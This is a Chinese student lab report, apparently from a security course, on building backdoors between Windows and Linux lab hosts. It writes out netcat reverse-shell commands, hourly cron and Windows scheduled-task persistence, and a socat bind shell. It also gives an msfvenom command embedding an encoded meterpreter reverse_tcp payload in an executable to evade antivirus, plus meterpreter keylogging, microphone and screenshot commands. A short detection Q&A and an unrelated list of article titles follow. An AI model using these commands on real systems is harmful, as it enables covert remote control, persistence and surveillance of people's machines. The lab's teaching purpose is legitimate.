实验目的

学习建立一个后门连接。

教程

实验内容

  • 使用netcat获取主机操作Shell,cron启动。
  • 使用socat获取主机操作Shell, 任务计划启动。
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

实验要求

  • 使用nc实现win,mac,Linux间的后门连接。
  • meterpreter的应用。
  • MSF POST 模块的应用

实验步骤

(一)netcat获取主机操作Shell,cron启动。

  • Cron是Linux下的定时任务,使用cron实现定时获取Windows主机shell
  • 先测试看看Windows主机和Linux主机能不能互相获取shell
  • nc需要的主要参数
-l :绑定并侦听传入的连接(一般用于服务端)
-p :侦听的端口
-e :接收到的命令通过command(例如/bin/bash)执行
  • windows主机运行ncat.exe打开监听端口
ncat.exe -l -p 5315
  • linux主机连接Windows主机的5315端口
nc 192.168.43.97 5315 -e /bin/sh
  • 这时候Windows就获得了Linux的shell

  • 关闭原来的终端,Linux主机运行打开监听端口,Windows主机连接监听端口。
ncat.exe -e cmd.exe 192.168.102.130 5315
  • 运行结果:
  • 测试完成,在Linux中使用crontab增加定时条件:
    • crontab -e进入编辑模式
    • 选择3. /usr/bin/vim.basic
    • 在最后一行添加定时条件30 * * * * /bin/netcat 192.168.43.97 5315 -e /bin/sh
  • 每小时30分的时候自启动

(二)使用socat获取主机操作Shell, 任务计划启动。

  • Windows下载socat,在任务计划程序中新建一个任务
  • 将触发器设置为当锁定任何用户的工作站时
  • 将程序或脚本设置为下载的socat文件,参数中添加``tcp-listen:5315 exec:cmd.exe,pty,stderr```
  • 在Windows中运行任务,在Linux中输入socat -tcp:192.168.43.97:5315 就会连接到Windows主机。

(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

  • 将Windows下的一个可执行文件生成一个后门文件
msfvenom -p windows/meterpreter/reverse_tcp -x ./ysf1.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.102.130 LPORT=5315 -f exe > 20155315_backdoor.exe

参数说明:

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件
  • Linux使用nc将生成的文件发送给Windows
nc 192.168.102.1 5315 > 20155315_backdoor.exe
  • Windows使用nc接收文件
ncat.exe -l 5315 > 20155315_backdoor.exe
  • 在linux中运行msfconsole
  • 在msfconsole中设置参数
use exploit/multi/handler //进入handler模式
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.102.130
set LPORT 443
  • Linux运行exploit,Windows打开后门软件,等一段时间就成功了。

(四)使用MSF 使用MSF meterpreter(或其他软件)生成获取目标主机音频、击键记录等内容,并尝试提权。

  • 获取录音:record_mic

  • 获取截图:screenshot
  • 获取击键记录:keyscan_start显示击键记录:keyscan_dump

实验中遇到的问题

  • 一开始测试nc的时候,网络连接出错,使用ifconfig发现是Linux的网络没有连上,只有一个网卡,查找网上的资料修改配置之后就可以连接网络了。
  • 在获取摄像头的时候出现了错误,查找资料尚未解决。

基础问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?

    • 从网上下载的来路不明的文件可能被篡改
    • 通过中毒的移动设备进入计算机
  • 例举你知道的后门如何启动起来(win及linux)的方式?
    • Windows可以使用任务计划
    • linux可以使用cron定时触发
  • Meterpreter有哪些给你映像深刻的功能?
    • 截取键盘击键记录:本来以为获取密码等等的输入都要输到特殊的软件里,没想到直接使用命令就可以获取
    • 录音:感觉很刺激又有点危险,在生活中要做好安全防御工作。
  • 如何发现自己有系统有没有被安装后门?
    • 使用杀毒软件定期进行杀毒
    • 查看本机端口,查资料判断是否有被异常开放的端口。

实验总结

初步体验了一下酷炫的操作,一开始运行nc的时候就特别兴奋,一步步做下来感觉很棒,虽然对命令不是很熟悉,但是理解每一步的用处再将其实现就很有成就感。在提权和截取摄像头的时候都出现了错误,用了网上的方法之后出现Exploit aborted due to failure: not-vulnerable: Windows 10 (Build 16299). is not vulnerable.表示win10可能不好攻击。本次实验用的后门还可以被安全软件发现,之后学习了免杀的病毒之后就更难被发现了,虽然很酷炫,但是生活中更要注意对本机安全的保护。

参考资料

最新文章

  1. JSP动作元素——————实践篇
  2. memcached 适用的场景
  3. The APR based Apache Tomcat Native library 异常解决办法
  4. c#代码实现GPS数据的有效性校验
  5. 通过硬件层提高Android动画的性能
  6. Excel数据导入到oracle
  7. pip assert_source_matches_version(self)版本验证报错Source in %s has version %s, which satisfies requirement %s的解决方式
  8. 专家解读Linux操作系统内核中的GCC特性
  9. Chapter 2. Overview gradle概览
  10. Oracle错误ORA-03113: end-of-file on communication channel处理办法
  11. 【Python3之函数对象】
  12. SSM框架实现分页
  13. 情景linux--如何摆脱深路径的频繁切换烦恼?
  14. Windows10下的docker安装与入门 (一)使用docker toolbox安装docker
  15. Hibernate非主键关联
  16. CKFinker 2.5.0.1 去demo标示
  17. Gradle安装和在IDEA使用 基本操作
  18. Java字符串跟ASCII码互转
  19. Linux解决安装包无法找到问题Unable to locate package rar
  20. a标签发送邮件

热门文章

  1. Week5——applet
  2. 【Java】操作Sqlite数据库
  3. 使用ServiceBroker自动激活模拟"秒杀"场景
  4. django项目设计
  5. NSOperation的使用细节 [3]
  6. windows下npm安装vue
  7. PSR规范学习笔记
  8. [沫沫金]JavaWeb企业信息系统,增加操作记录、数据库记录
  9. Automapper实现自动映射
  10. pthread线程内存布局